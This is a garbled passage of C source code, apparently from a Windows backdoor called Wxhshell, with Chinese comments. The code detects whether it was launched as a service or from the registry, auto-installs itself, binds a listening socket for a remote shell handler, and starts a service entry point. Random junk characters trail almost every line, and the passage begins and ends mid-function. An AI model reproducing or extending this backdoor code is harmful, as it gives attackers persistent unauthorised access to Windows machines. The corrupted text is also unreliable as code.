} PROCESS_BASIC_INFORMATION; go, Hfb
~|j :xM(i
PROCNTQSIP NtQueryInformationProcess; &&iZ?JteZ
wi#]*\N\9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IAr
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +/ A`\9QT
}$K2h*
HANDLE hProcess; j8@Eqh
PROCESS_BASIC_INFORMATION pbi; Evz;eobW/
8:Yha4<Bv7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U @Il:\I
if(NULL == hInst ) return 0; !/4f/g4Ze
-+1it
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Da)rzr|}>3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j@0/\:1(U
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); { VC4rA
|aiP7C
if (!NtQueryInformationProcess) return 0; -.A8kJ
SrV+Ox
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sSLs%)e|:
if(!hProcess) return 0; P) fv:a
@=[/bG
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8ALvP}H
>3H/~ Y
CloseHandle(hProcess); ,}M@Am0~
kl.)A-6V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CPq{M.B
if(hProcess==NULL) return 0; RU!j"T
5
8uyUvSB
HMODULE hMod; KlgPDV9mg
char procName[255]; X !5
unsigned long cbNeeded; [/#c9RA
gY AXUM,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;!4Bw"Gg
V/Hjd`n)`i
CloseHandle(hProcess); Xtqjx@ye
[@ ]f@Wd
if(strstr(procName,"services")) return 1; // 以服务启动 uLYz!E+E
%H:uE*WZ
return 0; // 注册表启动 z`-?5-a]I
} }$W4aG*[
vjG:
1|*e
// 主模块 ScrE tN
int StartWxhshell(LPSTR lpCmdLine) 4[za|t
{ I__|+%oC
SOCKET wsl; \oF79
BOOL val=TRUE; 37)Dx
int port=0; hd~X c
struct sockaddr_in door; .gNWDk0$Y
l-"c-2-!
if(wscfg.ws_autoins) Install(); @sly-2{e1
@Md%gEh;&
port=atoi(lpCmdLine); :8}QKp
NLFSw
if(port<=0) port=wscfg.ws_port; ;aBK4<-vl
k LVf}J~?
WSADATA data; E6n3[Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >{i/LC^S
&| %<=\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; mLU4R Q}5
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &Zl$7
door.sin_family = AF_INET; 5EDN 9?a
door.sin_addr.s_addr = inet_addr("127.0.0.1"); H8~<;6W
door.sin_port = htons(port); I|lz;i}$
_^Lv8a3(O
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6_/691
closesocket(wsl); 2't<Hl1qN
return 1; @sJ[<V
} S!qJqZ<Bv
Ed9ynJ~)X
if(listen(wsl,2) == INVALID_SOCKET) { D.o|pTZ
closesocket(wsl); !b0'd'xe
return 1; MZf$8R
} ";38vjIV
Wxhshell(wsl); 6V\YYrUz
WSACleanup(); v5l)T}Nb
%pgie"k
return 0; !)RND 6.
f7 V3 6Q8
} 2<wuzP|
~\`lbGJ7?
// 以NT服务方式启动 8<M'~G%CEq
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z`nHpmNM
{ GwxxW
DWORD status = 0; VO3&